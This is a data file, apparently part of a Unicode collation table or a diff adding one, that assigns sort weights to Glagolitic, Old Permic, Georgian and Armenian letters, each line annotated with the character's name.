+2C01  ; [.21E6.0020.0008] # GLAGOLITIC CAPITAL LETTER BUKY
+2C32  ; [.21E7.0020.0002] # GLAGOLITIC SMALL LETTER VEDE
+1E002 ; [.21E7.0020.0004] # COMBINING GLAGOLITIC LETTER VEDE
+2C02  ; [.21E7.0020.0008] # GLAGOLITIC CAPITAL LETTER VEDE
+2C33  ; [.21E8.0020.0002] # GLAGOLITIC SMALL LETTER GLAGOLI
+1E003 ; [.21E8.0020.0004] # COMBINING GLAGOLITIC LETTER GLAGOLI
+2C03  ; [.21E8.0020.0008] # GLAGOLITIC CAPITAL LETTER GLAGOLI
+2C34  ; [.21E9.0020.0002] # GLAGOLITIC SMALL LETTER DOBRO
+1E004 ; [.21E9.0020.0004] # COMBINING GLAGOLITIC LETTER DOBRO
+2C04  ; [.21E9.0020.0008] # GLAGOLITIC CAPITAL LETTER DOBRO
+2C35  ; [.21EA.0020.0002] # GLAGOLITIC SMALL LETTER YESTU
+1E005 ; [.21EA.0020.0004] # COMBINING GLAGOLITIC LETTER YESTU
+2C05  ; [.21EA.0020.0008] # GLAGOLITIC CAPITAL LETTER YESTU
+2C36  ; [.21EB.0020.0002] # GLAGOLITIC SMALL LETTER ZHIVETE
+1E006 ; [.21EB.0020.0004] # COMBINING GLAGOLITIC LETTER ZHIVETE
+2C06  ; [.21EB.0020.0008] # GLAGOLITIC CAPITAL LETTER ZHIVETE
+2C37  ; [.21EC.0020.0002] # GLAGOLITIC SMALL LETTER DZELO
+2C07  ; [.21EC.0020.0008] # GLAGOLITIC CAPITAL LETTER DZELO
+2C38  ; [.21ED.0020.0002] # GLAGOLITIC SMALL LETTER ZEMLJA
+1E008 ; [.21ED.0020.0004] # COMBINING GLAGOLITIC LETTER ZEMLJA
+2C08  ; [.21ED.0020.0008] # GLAGOLITIC CAPITAL LETTER ZEMLJA
+2C39  ; [.21EE.0020.0002] # GLAGOLITIC SMALL LETTER IZHE
+1E009 ; [.21EE.0020.0004] # COMBINING GLAGOLITIC LETTER IZHE
+2C09  ; [.21EE.0020.0008] # GLAGOLITIC CAPITAL LETTER IZHE
+2C3A  ; [.21EF.0020.0002] # GLAGOLITIC SMALL LETTER INITIAL IZHE
+1E00A ; [.21EF.0020.0004] # COMBINING GLAGOLITIC LETTER INITIAL IZHE
+2C0A  ; [.21EF.0020.0008] # GLAGOLITIC CAPITAL LETTER INITIAL IZHE
+2C3B  ; [.21F0.0020.0002] # GLAGOLITIC SMALL LETTER I
+1E00B ; [.21F0.0020.0004] # COMBINING GLAGOLITIC LETTER I
+2C0B  ; [.21F0.0020.0008] # GLAGOLITIC CAPITAL LETTER I
+2C3C  ; [.21F1.0020.0002] # GLAGOLITIC SMALL LETTER DJERVI
+1E00C ; [.21F1.0020.0004] # COMBINING GLAGOLITIC LETTER DJERVI
+2C0C  ; [.21F1.0020.0008] # GLAGOLITIC CAPITAL LETTER DJERVI
+2C3D  ; [.21F2.0020.0002] # GLAGOLITIC SMALL LETTER KAKO
+1E00D ; [.21F2.0020.0004] # COMBINING GLAGOLITIC LETTER KAKO
+2C0D  ; [.21F2.0020.0008] # GLAGOLITIC CAPITAL LETTER KAKO
+2C3E  ; [.21F3.0020.0002] # GLAGOLITIC SMALL LETTER LJUDIJE
+1E00E ; [.21F3.0020.0004] # COMBINING GLAGOLITIC LETTER LJUDIJE
+2C0E  ; [.21F3.0020.0008] # GLAGOLITIC CAPITAL LETTER LJUDIJE
+2C3F  ; [.21F4.0020.0002] # GLAGOLITIC SMALL LETTER MYSLITE
+1E00F ; [.21F4.0020.0004] # COMBINING GLAGOLITIC LETTER MYSLITE
+2C0F  ; [.21F4.0020.0008] # GLAGOLITIC CAPITAL LETTER MYSLITE
+2C40  ; [.21F5.0020.0002] # GLAGOLITIC SMALL LETTER NASHI
+1E010 ; [.21F5.0020.0004] # COMBINING GLAGOLITIC LETTER NASHI
+2C10  ; [.21F5.0020.0008] # GLAGOLITIC CAPITAL LETTER NASHI
+2C41  ; [.21F6.0020.0002] # GLAGOLITIC SMALL LETTER ONU
+1E011 ; [.21F6.0020.0004] # COMBINING GLAGOLITIC LETTER ONU
+2C11  ; [.21F6.0020.0008] # GLAGOLITIC CAPITAL LETTER ONU
+2C42  ; [.21F7.0020.0002] # GLAGOLITIC SMALL LETTER POKOJI
+1E012 ; [.21F7.0020.0004] # COMBINING GLAGOLITIC LETTER POKOJI
+2C12  ; [.21F7.0020.0008] # GLAGOLITIC CAPITAL LETTER POKOJI
+2C43  ; [.21F8.0020.0002] # GLAGOLITIC SMALL LETTER RITSI
+1E013 ; [.21F8.0020.0004] # COMBINING GLAGOLITIC LETTER RITSI
+2C13  ; [.21F8.0020.0008] # GLAGOLITIC CAPITAL LETTER RITSI
+2C44  ; [.21F9.0020.0002] # GLAGOLITIC SMALL LETTER SLOVO
+1E014 ; [.21F9.0020.0004] # COMBINING GLAGOLITIC LETTER SLOVO
+2C14  ; [.21F9.0020.0008] # GLAGOLITIC CAPITAL LETTER SLOVO
+2C45  ; [.21FA.0020.0002] # GLAGOLITIC SMALL LETTER TVRIDO
+1E015 ; [.21FA.0020.0004] # COMBINING GLAGOLITIC LETTER TVRIDO
+2C15  ; [.21FA.0020.0008] # GLAGOLITIC CAPITAL LETTER TVRIDO
+2C46  ; [.21FB.0020.0002] # GLAGOLITIC SMALL LETTER UKU
+1E016 ; [.21FB.0020.0004] # COMBINING GLAGOLITIC LETTER UKU
+2C16  ; [.21FB.0020.0008] # GLAGOLITIC CAPITAL LETTER UKU
+2C47  ; [.21FC.0020.0002] # GLAGOLITIC SMALL LETTER FRITU
+1E017 ; [.21FC.0020.0004] # COMBINING GLAGOLITIC LETTER FRITU
+2C17  ; [.21FC.0020.0008] # GLAGOLITIC CAPITAL LETTER FRITU
+2C48  ; [.21FD.0020.0002] # GLAGOLITIC SMALL LETTER HERU
+1E018 ; [.21FD.0020.0004] # COMBINING GLAGOLITIC LETTER HERU
+2C18  ; [.21FD.0020.0008] # GLAGOLITIC CAPITAL LETTER HERU
+2C49  ; [.21FE.0020.0002] # GLAGOLITIC SMALL LETTER OTU
+2C19  ; [.21FE.0020.0008] # GLAGOLITIC CAPITAL LETTER OTU
+2C4A  ; [.21FF.0020.0002] # GLAGOLITIC SMALL LETTER PE
+2C1A  ; [.21FF.0020.0008] # GLAGOLITIC CAPITAL LETTER PE
+2C4B  ; [.2200.0020.0002] # GLAGOLITIC SMALL LETTER SHTA
+1E01B ; [.2200.0020.0004] # COMBINING GLAGOLITIC LETTER SHTA
+2C1B  ; [.2200.0020.0008] # GLAGOLITIC CAPITAL LETTER SHTA
+2C4C  ; [.2201.0020.0002] # GLAGOLITIC SMALL LETTER TSI
+1E01C ; [.2201.0020.0004] # COMBINING GLAGOLITIC LETTER TSI
+2C1C  ; [.2201.0020.0008] # GLAGOLITIC CAPITAL LETTER TSI
+2C4D  ; [.2202.0020.0002] # GLAGOLITIC SMALL LETTER CHRIVI
+1E01D ; [.2202.0020.0004] # COMBINING GLAGOLITIC LETTER CHRIVI
+2C1D  ; [.2202.0020.0008] # GLAGOLITIC CAPITAL LETTER CHRIVI
+2C4E  ; [.2203.0020.0002] # GLAGOLITIC SMALL LETTER SHA
+1E01E ; [.2203.0020.0004] # COMBINING GLAGOLITIC LETTER SHA
+2C1E  ; [.2203.0020.0008] # GLAGOLITIC CAPITAL LETTER SHA
+2C4F  ; [.2204.0020.0002] # GLAGOLITIC SMALL LETTER YERU
+1E01F ; [.2204.0020.0004] # COMBINING GLAGOLITIC LETTER YERU
+2C1F  ; [.2204.0020.0008] # GLAGOLITIC CAPITAL LETTER YERU
+2C50  ; [.2205.0020.0002] # GLAGOLITIC SMALL LETTER YERI
+1E020 ; [.2205.0020.0004] # COMBINING GLAGOLITIC LETTER YERI
+2C20  ; [.2205.0020.0008] # GLAGOLITIC CAPITAL LETTER YERI
+2C51  ; [.2206.0020.0002] # GLAGOLITIC SMALL LETTER YATI
+1E021 ; [.2206.0020.0004] # COMBINING GLAGOLITIC LETTER YATI
+2C21  ; [.2206.0020.0008] # GLAGOLITIC CAPITAL LETTER YATI
+2C52  ; [.2207.0020.0002] # GLAGOLITIC SMALL LETTER SPIDERY HA
+2C22  ; [.2207.0020.0008] # GLAGOLITIC CAPITAL LETTER SPIDERY HA
+2C53  ; [.2208.0020.0002] # GLAGOLITIC SMALL LETTER YU
+1E023 ; [.2208.0020.0004] # COMBINING GLAGOLITIC LETTER YU
+2C23  ; [.2208.0020.0008] # GLAGOLITIC CAPITAL LETTER YU
+2C54  ; [.2209.0020.0002] # GLAGOLITIC SMALL LETTER SMALL YUS
+1E024 ; [.2209.0020.0004] # COMBINING GLAGOLITIC LETTER SMALL YUS
+2C24  ; [.2209.0020.0008] # GLAGOLITIC CAPITAL LETTER SMALL YUS
+2C55  ; [.220A.0020.0002] # GLAGOLITIC SMALL LETTER SMALL YUS WITH TAIL
+2C25  ; [.220A.0020.0008] # GLAGOLITIC CAPITAL LETTER SMALL YUS WITH TAIL
+2C56  ; [.220B.0020.0002] # GLAGOLITIC SMALL LETTER YO
+1E026 ; [.220B.0020.0004] # COMBINING GLAGOLITIC LETTER YO
+2C26  ; [.220B.0020.0008] # GLAGOLITIC CAPITAL LETTER YO
+2C57  ; [.220C.0020.0002] # GLAGOLITIC SMALL LETTER IOTATED SMALL YUS
+1E027 ; [.220C.0020.0004] # COMBINING GLAGOLITIC LETTER IOTATED SMALL YUS
+2C27  ; [.220C.0020.0008] # GLAGOLITIC CAPITAL LETTER IOTATED SMALL YUS
+2C58  ; [.220D.0020.0002] # GLAGOLITIC SMALL LETTER BIG YUS
+1E028 ; [.220D.0020.0004] # COMBINING GLAGOLITIC LETTER BIG YUS
+2C28  ; [.220D.0020.0008] # GLAGOLITIC CAPITAL LETTER BIG YUS
+2C59  ; [.220E.0020.0002] # GLAGOLITIC SMALL LETTER IOTATED BIG YUS
+1E029 ; [.220E.0020.0004] # COMBINING GLAGOLITIC LETTER IOTATED BIG YUS
+2C29  ; [.220E.0020.0008] # GLAGOLITIC CAPITAL LETTER IOTATED BIG YUS
+2C5A  ; [.220F.0020.0002] # GLAGOLITIC SMALL LETTER FITA
+1E02A ; [.220F.0020.0004] # COMBINING GLAGOLITIC LETTER FITA
+2C2A  ; [.220F.0020.0008] # GLAGOLITIC CAPITAL LETTER FITA
+2C5B  ; [.2210.0020.0002] # GLAGOLITIC SMALL LETTER IZHITSA
+2C2B  ; [.2210.0020.0008] # GLAGOLITIC CAPITAL LETTER IZHITSA
+2C5C  ; [.2211.0020.0002] # GLAGOLITIC SMALL LETTER SHTAPIC
+2C2C  ; [.2211.0020.0008] # GLAGOLITIC CAPITAL LETTER SHTAPIC
+2C5D  ; [.2212.0020.0002] # GLAGOLITIC SMALL LETTER TROKUTASTI A
+2C2D  ; [.2212.0020.0008] # GLAGOLITIC CAPITAL LETTER TROKUTASTI A
+2C5E  ; [.2213.0020.0002] # GLAGOLITIC SMALL LETTER LATINATE MYSLITE
+2C2E  ; [.2213.0020.0008] # GLAGOLITIC CAPITAL LETTER LATINATE MYSLITE
+10350 ; [.2214.0020.0002] # OLD PERMIC LETTER AN
+10376 ; [.2214.0020.0004] # COMBINING OLD PERMIC LETTER AN
+10351 ; [.2215.0020.0002] # OLD PERMIC LETTER BUR
+10352 ; [.2216.0020.0002] # OLD PERMIC LETTER GAI
+10353 ; [.2217.0020.0002] # OLD PERMIC LETTER DOI
+10377 ; [.2217.0020.0004] # COMBINING OLD PERMIC LETTER DOI
+10354 ; [.2218.0020.0002] # OLD PERMIC LETTER E
+10355 ; [.2219.0020.0002] # OLD PERMIC LETTER ZHOI
+10356 ; [.221A.0020.0002] # OLD PERMIC LETTER DZHOI
+10357 ; [.221B.0020.0002] # OLD PERMIC LETTER ZATA
+10378 ; [.221B.0020.0004] # COMBINING OLD PERMIC LETTER ZATA
+10358 ; [.221C.0020.0002] # OLD PERMIC LETTER DZITA
+10359 ; [.221D.0020.0002] # OLD PERMIC LETTER I
+1035A ; [.221E.0020.0002] # OLD PERMIC LETTER KOKE
+1035B ; [.221F.0020.0002] # OLD PERMIC LETTER LEI
+1035C ; [.2220.0020.0002] # OLD PERMIC LETTER MENOE
+1035D ; [.2221.0020.0002] # OLD PERMIC LETTER NENOE
+10379 ; [.2221.0020.0004] # COMBINING OLD PERMIC LETTER NENOE
+1035E ; [.2222.0020.0002] # OLD PERMIC LETTER VOOI
+1035F ; [.2223.0020.0002] # OLD PERMIC LETTER PEEI
+10360 ; [.2224.0020.0002] # OLD PERMIC LETTER REI
+10361 ; [.2225.0020.0002] # OLD PERMIC LETTER SII
+1037A ; [.2225.0020.0004] # COMBINING OLD PERMIC LETTER SII
+10362 ; [.2226.0020.0002] # OLD PERMIC LETTER TAI
+10363 ; [.2227.0020.0002] # OLD PERMIC LETTER U
+10364 ; [.2228.0020.0002] # OLD PERMIC LETTER CHERY
+10365 ; [.2229.0020.0002] # OLD PERMIC LETTER SHOOI
+10366 ; [.222A.0020.0002] # OLD PERMIC LETTER SHCHOOI
+10367 ; [.222B.0020.0002] # OLD PERMIC LETTER YRY
+10368 ; [.222C.0020.0002] # OLD PERMIC LETTER YERU
+10369 ; [.222D.0020.0002] # OLD PERMIC LETTER O
+1036A ; [.222E.0020.0002] # OLD PERMIC LETTER OO
+1036B ; [.222F.0020.0002] # OLD PERMIC LETTER EF
+1036C ; [.2230.0020.0002] # OLD PERMIC LETTER HA
+1036D ; [.2231.0020.0002] # OLD PERMIC LETTER TSIU
+1036E ; [.2232.0020.0002] # OLD PERMIC LETTER VER
+1036F ; [.2233.0020.0002] # OLD PERMIC LETTER YER
+10370 ; [.2234.0020.0002] # OLD PERMIC LETTER YERI
+10371 ; [.2235.0020.0002] # OLD PERMIC LETTER YAT
+10372 ; [.2236.0020.0002] # OLD PERMIC LETTER IE
+10373 ; [.2237.0020.0002] # OLD PERMIC LETTER YU
+10374 ; [.2238.0020.0002] # OLD PERMIC LETTER YA
+10375 ; [.2239.0020.0002] # OLD PERMIC LETTER IA
+10D0  ; [.223A.0020.0002] # GEORGIAN LETTER AN
+2D00  ; [.223B.0020.0002] # GEORGIAN SMALL LETTER AN
+10A0  ; [.223B.0020.0008] # GEORGIAN CAPITAL LETTER AN
+10D1  ; [.223C.0020.0002] # GEORGIAN LETTER BAN
+2D01  ; [.223D.0020.0002] # GEORGIAN SMALL LETTER BAN
+10A1  ; [.223D.0020.0008] # GEORGIAN CAPITAL LETTER BAN
+10D2  ; [.223E.0020.0002] # GEORGIAN LETTER GAN
+2D02  ; [.223F.0020.0002] # GEORGIAN SMALL LETTER GAN
+10A2  ; [.223F.0020.0008] # GEORGIAN CAPITAL LETTER GAN
+10D3  ; [.2240.0020.0002] # GEORGIAN LETTER DON
+2D03  ; [.2241.0020.0002] # GEORGIAN SMALL LETTER DON
+10A3  ; [.2241.0020.0008] # GEORGIAN CAPITAL LETTER DON
+10D4  ; [.2242.0020.0002] # GEORGIAN LETTER EN
+2D04  ; [.2243.0020.0002] # GEORGIAN SMALL LETTER EN
+10A4  ; [.2243.0020.0008] # GEORGIAN CAPITAL LETTER EN
+10D5  ; [.2244.0020.0002] # GEORGIAN LETTER VIN
+2D05  ; [.2245.0020.0002] # GEORGIAN SMALL LETTER VIN
+10A5  ; [.2245.0020.0008] # GEORGIAN CAPITAL LETTER VIN
+10D6  ; [.2246.0020.0002] # GEORGIAN LETTER ZEN
+2D06  ; [.2247.0020.0002] # GEORGIAN SMALL LETTER ZEN
+10A6  ; [.2247.0020.0008] # GEORGIAN CAPITAL LETTER ZEN
+10F1  ; [.2248.0020.0002] # GEORGIAN LETTER HE
+2D21  ; [.2249.0020.0002] # GEORGIAN SMALL LETTER HE
+10C1  ; [.2249.0020.0008] # GEORGIAN CAPITAL LETTER HE
+10D7  ; [.224A.0020.0002] # GEORGIAN LETTER TAN
+2D07  ; [.224B.0020.0002] # GEORGIAN SMALL LETTER TAN
+10A7  ; [.224B.0020.0008] # GEORGIAN CAPITAL LETTER TAN
+10D8  ; [.224C.0020.0002] # GEORGIAN LETTER IN
+2D08  ; [.224D.0020.0002] # GEORGIAN SMALL LETTER IN
+10A8  ; [.224D.0020.0008] # GEORGIAN CAPITAL LETTER IN
+10D9  ; [.224E.0020.0002] # GEORGIAN LETTER KAN
+2D09  ; [.224F.0020.0002] # GEORGIAN SMALL LETTER KAN
+10A9  ; [.224F.0020.0008] # GEORGIAN CAPITAL LETTER KAN
+10DA  ; [.2250.0020.0002] # GEORGIAN LETTER LAS
+2D0A  ; [.2251.0020.0002] # GEORGIAN SMALL LETTER LAS
+10AA  ; [.2251.0020.0008] # GEORGIAN CAPITAL LETTER LAS
+10DB  ; [.2252.0020.0002] # GEORGIAN LETTER MAN
+2D0B  ; [.2253.0020.0002] # GEORGIAN SMALL LETTER MAN
+10AB  ; [.2253.0020.0008] # GEORGIAN CAPITAL LETTER MAN
+10DC  ; [.2254.0020.0002] # GEORGIAN LETTER NAR
+10FC  ; [.2254.0020.0014] # MODIFIER LETTER GEORGIAN NAR
+2D0C  ; [.2255.0020.0002] # GEORGIAN SMALL LETTER NAR
+10AC  ; [.2255.0020.0008] # GEORGIAN CAPITAL LETTER NAR
+10F2  ; [.2256.0020.0002] # GEORGIAN LETTER HIE
+2D22  ; [.2257.0020.0002] # GEORGIAN SMALL LETTER HIE
+10C2  ; [.2257.0020.0008] # GEORGIAN CAPITAL LETTER HIE
+10DD  ; [.2258.0020.0002] # GEORGIAN LETTER ON
+2D0D  ; [.2259.0020.0002] # GEORGIAN SMALL LETTER ON
+10AD  ; [.2259.0020.0008] # GEORGIAN CAPITAL LETTER ON
+10DE  ; [.225A.0020.0002] # GEORGIAN LETTER PAR
+2D0E  ; [.225B.0020.0002] # GEORGIAN SMALL LETTER PAR
+10AE  ; [.225B.0020.0008] # GEORGIAN CAPITAL LETTER PAR
+10DF  ; [.225C.0020.0002] # GEORGIAN LETTER ZHAR
+2D0F  ; [.225D.0020.0002] # GEORGIAN SMALL LETTER ZHAR
+10AF  ; [.225D.0020.0008] # GEORGIAN CAPITAL LETTER ZHAR
+10E0  ; [.225E.0020.0002] # GEORGIAN LETTER RAE
+2D10  ; [.225F.0020.0002] # GEORGIAN SMALL LETTER RAE
+10B0  ; [.225F.0020.0008] # GEORGIAN CAPITAL LETTER RAE
+10E1  ; [.2260.0020.0002] # GEORGIAN LETTER SAN
+2D11  ; [.2261.0020.0002] # GEORGIAN SMALL LETTER SAN
+10B1  ; [.2261.0020.0008] # GEORGIAN CAPITAL LETTER SAN
+10E2  ; [.2262.0020.0002] # GEORGIAN LETTER TAR
+2D12  ; [.2263.0020.0002] # GEORGIAN SMALL LETTER TAR
+10B2  ; [.2263.0020.0008] # GEORGIAN CAPITAL LETTER TAR
+10F3  ; [.2264.0020.0002] # GEORGIAN LETTER WE
+2D23  ; [.2265.0020.0002] # GEORGIAN SMALL LETTER WE
+10C3  ; [.2265.0020.0008] # GEORGIAN CAPITAL LETTER WE
+10E3  ; [.2266.0020.0002] # GEORGIAN LETTER UN
+2D13  ; [.2267.0020.0002] # GEORGIAN SMALL LETTER UN
+10B3  ; [.2267.0020.0008] # GEORGIAN CAPITAL LETTER UN
+10E4  ; [.2268.0020.0002] # GEORGIAN LETTER PHAR
+2D14  ; [.2269.0020.0002] # GEORGIAN SMALL LETTER PHAR
+10B4  ; [.2269.0020.0008] # GEORGIAN CAPITAL LETTER PHAR
+10E5  ; [.226A.0020.0002] # GEORGIAN LETTER KHAR
+2D15  ; [.226B.0020.0002] # GEORGIAN SMALL LETTER KHAR
+10B5  ; [.226B.0020.0008] # GEORGIAN CAPITAL LETTER KHAR
+10E6  ; [.226C.0020.0002] # GEORGIAN LETTER GHAN
+2D16  ; [.226D.0020.0002] # GEORGIAN SMALL LETTER GHAN
+10B6  ; [.226D.0020.0008] # GEORGIAN CAPITAL LETTER GHAN
+10E7  ; [.226E.0020.0002] # GEORGIAN LETTER QAR
+2D17  ; [.226F.0020.0002] # GEORGIAN SMALL LETTER QAR
+10B7  ; [.226F.0020.0008] # GEORGIAN CAPITAL LETTER QAR
+10E8  ; [.2270.0020.0002] # GEORGIAN LETTER SHIN
+2D18  ; [.2271.0020.0002] # GEORGIAN SMALL LETTER SHIN
+10B8  ; [.2271.0020.0008] # GEORGIAN CAPITAL LETTER SHIN
+10E9  ; [.2272.0020.0002] # GEORGIAN LETTER CHIN
+2D19  ; [.2273.0020.0002] # GEORGIAN SMALL LETTER CHIN
+10B9  ; [.2273.0020.0008] # GEORGIAN CAPITAL LETTER CHIN
+10EA  ; [.2274.0020.0002] # GEORGIAN LETTER CAN
+2D1A  ; [.2275.0020.0002] # GEORGIAN SMALL LETTER CAN
+10BA  ; [.2275.0020.0008] # GEORGIAN CAPITAL LETTER CAN
+10EB  ; [.2276.0020.0002] # GEORGIAN LETTER JIL
+2D1B  ; [.2277.0020.0002] # GEORGIAN SMALL LETTER JIL
+10BB  ; [.2277.0020.0008] # GEORGIAN CAPITAL LETTER JIL
+10EC  ; [.2278.0020.0002] # GEORGIAN LETTER CIL
+2D1C  ; [.2279.0020.0002] # GEORGIAN SMALL LETTER CIL
+10BC  ; [.2279.0020.0008] # GEORGIAN CAPITAL LETTER CIL
+10ED  ; [.227A.0020.0002] # GEORGIAN LETTER CHAR
+2D1D  ; [.227B.0020.0002] # GEORGIAN SMALL LETTER CHAR
+10BD  ; [.227B.0020.0008] # GEORGIAN CAPITAL LETTER CHAR
+10EE  ; [.227C.0020.0002] # GEORGIAN LETTER XAN
+2D1E  ; [.227D.0020.0002] # GEORGIAN SMALL LETTER XAN
+10BE  ; [.227D.0020.0008] # GEORGIAN CAPITAL LETTER XAN
+10F4  ; [.227E.0020.0002] # GEORGIAN LETTER HAR
+2D24  ; [.227F.0020.0002] # GEORGIAN SMALL LETTER HAR
+10C4  ; [.227F.0020.0008] # GEORGIAN CAPITAL LETTER HAR
+10EF  ; [.2280.0020.0002] # GEORGIAN LETTER JHAN
+2D1F  ; [.2281.0020.0002] # GEORGIAN SMALL LETTER JHAN
+10BF  ; [.2281.0020.0008] # GEORGIAN CAPITAL LETTER JHAN
+10F0  ; [.2282.0020.0002] # GEORGIAN LETTER HAE
+2D20  ; [.2283.0020.0002] # GEORGIAN SMALL LETTER HAE
+10C0  ; [.2283.0020.0008] # GEORGIAN CAPITAL LETTER HAE
+10F5  ; [.2284.0020.0002] # GEORGIAN LETTER HOE
+2D25  ; [.2285.0020.0002] # GEORGIAN SMALL LETTER HOE
+10C5  ; [.2285.0020.0008] # GEORGIAN CAPITAL LETTER HOE
+10F6  ; [.2286.0020.0002] # GEORGIAN LETTER FI
+10F7  ; [.2287.0020.0002] # GEORGIAN LETTER YN
+2D27  ; [.2288.0020.0002] # GEORGIAN SMALL LETTER YN
+10C7  ; [.2288.0020.0008] # GEORGIAN CAPITAL LETTER YN
+10F8  ; [.2289.0020.0002] # GEORGIAN LETTER ELIFI
+10F9  ; [.228A.0020.0002] # GEORGIAN LETTER TURNED GAN
+10FA  ; [.228B.0020.0002] # GEORGIAN LETTER AIN
+10FD  ; [.228C.0020.0002] # GEORGIAN LETTER AEN
+2D2D  ; [.228D.0020.0002] # GEORGIAN SMALL LETTER AEN
+10CD  ; [.228D.0020.0008] # GEORGIAN CAPITAL LETTER AEN
+10FE  ; [.228E.0020.0002] # GEORGIAN LETTER HARD SIGN
+10FF  ; [.228F.0020.0002] # GEORGIAN LETTER LABIAL SIGN
+0561  ; [.2290.0020.0002] # ARMENIAN SMALL LETTER AYB
+0531  ; [.2290.0020.0008] # ARMENIAN CAPITAL LETTER AYB
+0562  ; [.2291.0020.0002] # ARMENIAN SMALL LETTER BEN
+0532  ; [.2291.0020.0008] # ARMENIAN CAPITAL LETTER BEN
+0563  ; [.2292.0020.0002] # ARMENIAN SMALL LETTER GIM
+0533  ; [.2292.0020.0008] # ARMENIAN CAPITAL LETTER GIM
+0564  ; [.2293.0020.0002] # ARMENIAN SMALL LETTER DA
+0534  ; [.2293.0020.0008] # ARMENIAN CAPITAL LETTER DA
+0565  ; [.2294.0020.0002] # ARMENIAN SMALL LETTER ECH
+0535  ; [.2294.0020.0008] # ARMENIAN CAPITAL LETTER ECH
+0587  ; [.2294.0020.0004][.22B1.0020.0004] # ARMENIAN SMALL LIGATURE ECH YIWN
+0566  ; [.2295.0020.0002] # ARMENIAN SMALL LETTER ZA
+0536  ; [.2295.0020.0008] # ARMENIAN CAPITAL LETTER ZA
+0567  ; [.2296.0020.0002] # ARMENIAN SMALL LETTER EH
+0537  ; [.2296.0020.0008] # ARMENIAN CAPITAL LETTER EH
+0568  ; [.2297.0020.0002] # ARMENIAN SMALL LETTER ET
+0538  ; [.2297.0020.0008] # ARMENIAN CAPITAL LETTER ET
+0569  ; [.2298.0020.0002] # ARMENIAN SMALL LETTER TO
+0539  ; [.2298.0020.0008] # ARMENIAN CAPITAL LETTER TO
+056A  ; [.2299.0020.0002] # ARMENIAN SMALL LETTER ZHE
+053A  ; [.2299.0020.0008] # ARMENIAN CAPITAL LETTER ZHE
+056B  ; [.229A.0020.0002] # ARMENIAN SMALL LETTER INI
+053B  ; [.229A.0020.0008] # ARMENIAN CAPITAL LETTER INI
+056C  ; [.229B.0020.0002] # ARMENIAN SMALL LETTER LIWN
+053C  ; [.229B.0020.0008] # ARMENIAN CAPITAL LETTER LIWN
+056D  ; [.229C.0020.0002] # ARMENIAN SMALL LETTER XEH
+053D  ; [.229C.0020.0008] # ARMENIAN CAPITAL LETTER XEH
+056E  ; [.229D.0020.0002] # ARMENIAN SMALL LETTER CA
+053E  ; [.229D.0020.0008] # ARMENIAN CAPITAL LETTER CA
+056F  ; [.229E.0020.0002] # ARMENIAN SMALL LETTER KEN
+053F  ; [.229E.0020.0008] # ARMENIAN CAPITAL LETTER KEN
+0570  ; [.229F.0020.0002] # ARMENIAN SMALL LETTER HO
+0540  ; [.229F.0020.0008] # ARMENIAN CAPITAL LETTER HO
+0571  ; [.22A0.0020.0002] # ARMENIAN SMALL LETTER JA
+0541  ; [.22A0.0020.0008] # ARMENIAN CAPITAL LETTER JA
+0572  ; [.22A1.0020.0002] # ARMENIAN SMALL LETTER GHAD
+0542  ; [.22A1.0020.0008] # ARMENIAN CAPITAL LETTER GHAD
+0573  ; [.22A2.0020.0002] # ARMENIAN SMALL LETTER CHEH
+0543  ; [.22A2.0020.0008] # ARMENIAN CAPITAL LETTER CHEH
+0574  ; [.22A3.0020.0002] # ARMENIAN SMALL LETTER MEN
+0544  ; [.22A3.0020.0008] # ARMENIAN CAPITAL LETTER MEN
+FB14  ; [.22A3.0020.0004][.2294.0020.0004] # ARMENIAN SMALL LIGATURE MEN ECH
+FB15  ; [.22A3.0020.0004][.229A.0020.0004] # ARMENIAN SMALL LIGATURE MEN INI
+FB17  ; [.22A3.0020.0004][.229C.0020.0004] # ARMENIAN SMALL LIGATURE MEN XEH
+FB13  ; [.22A3.0020.0004][.22A5.0020.0004] # ARMENIAN SMALL LIGATURE MEN NOW
+0575  ; [.22A4.0020.0002] # ARMENIAN SMALL LETTER YI
+0545  ; [.22A4.0020.0008] # ARMENIAN CAPITAL LETTER YI
+0576  ; [.22A5.0020.0002] # ARMENIAN SMALL LETTER NOW
+0546  ; [.22A5.0020.0008] # ARMENIAN CAPITAL LETTER NOW
+0577  ; [.22A6.0020.0002] # ARMENIAN SMALL LETTER SHA
+0547  ; [.22A6.0020.0008] # ARMENIAN CAPITAL LETTER SHA
+0578  ; [.22A7.0020.0002] # ARMENIAN SMALL LETTER VO
+0548  ; [.22A7.0020.0008] # ARMENIAN CAPITAL LETTER VO
+0579  ; [.22A8.0020.0002] # ARMENIAN SMALL LETTER CHA
+0549  ; [.22A8.0020.0008] # ARMENIAN CAPITAL LETTER CHA
+057A  ; [.22A9.0020.0002] # ARMENIAN SMALL LETTER PEH
+054A  ; [.22A9.0020.0008] # ARMENIAN CAPITAL LETTER PEH
+057B  ; [.22AA.0020.0002] # ARMENIAN SMALL LETTER JHEH
+054B  ; [.22AA.0020.0008] # ARMENIAN CAPITAL LETTER JHEH
+057C  ; [.22AB.0020.0002] # ARMENIAN SMALL LETTER RA
+054C  ; [.22AB.0020.0008] # ARMENIAN CAPITAL LETTER RA
+057D  ; [.22AC.0020.0002] # ARMENIAN SMALL LETTER SEH
+054D  ; [.22AC.0020.0008] # ARMENIAN CAPITAL LETTER SEH
+057E  ; [.22AD.0020.0002] # ARMENIAN SMALL LETTER VEW
+054E  ; [.22AD.0020.0008] # ARMENIAN CAPITAL LETTER VEW
+FB16  ; [.22AD.0020.0004][.22A5.0020.0004] # ARMENIAN SMALL LIGATURE VEW NOW
+057F  ; [.22AE.0020.0002] # ARMENIAN SMALL LETTER TIWN
+054F  ; [.22AE.0020.0008] # ARMENIAN CAPITAL LETTER TIWN
+0580  ; [.22AF.0020.0002] # ARMENIAN SMALL LETTER REH
+0550  ; [.22AF.0020.0008] # ARMENIAN CAPITAL LETTER REH
+0581  ; [.22B0.0020.0002] # ARMENIAN SMALL LETTER CO
+0551  ; [.22B0.0020.0008] # ARMENIAN CAPITAL LETTER CO
+0582  ; [.22B1.0020.0002] # ARMENIAN SMALL LETTER YIWN
+0552  ; [.22B1.0020.0008] # ARMENIAN CAPITAL LETTER YIWN
+0583  ; [.22B2.0020.0002] # ARMENIAN SMALL LETTER PIWR
+0553  ; [.22B2.0020.0008] # ARMENIAN CAPITAL LETTER PIWR
+0584  ; [.22B3.0020.0002] # ARMENIAN SMALL LETTER KEH
+0554  ; [.22B3.0020.0008] # ARMENIAN CAPITAL LETTER KEH
+0585  ; [.22B4.0020.0002] # ARMENIAN SMALL LETTER OH
+0555  ; [.22B4.0020.0008] # ARMENIAN CAPITAL LETTER OH
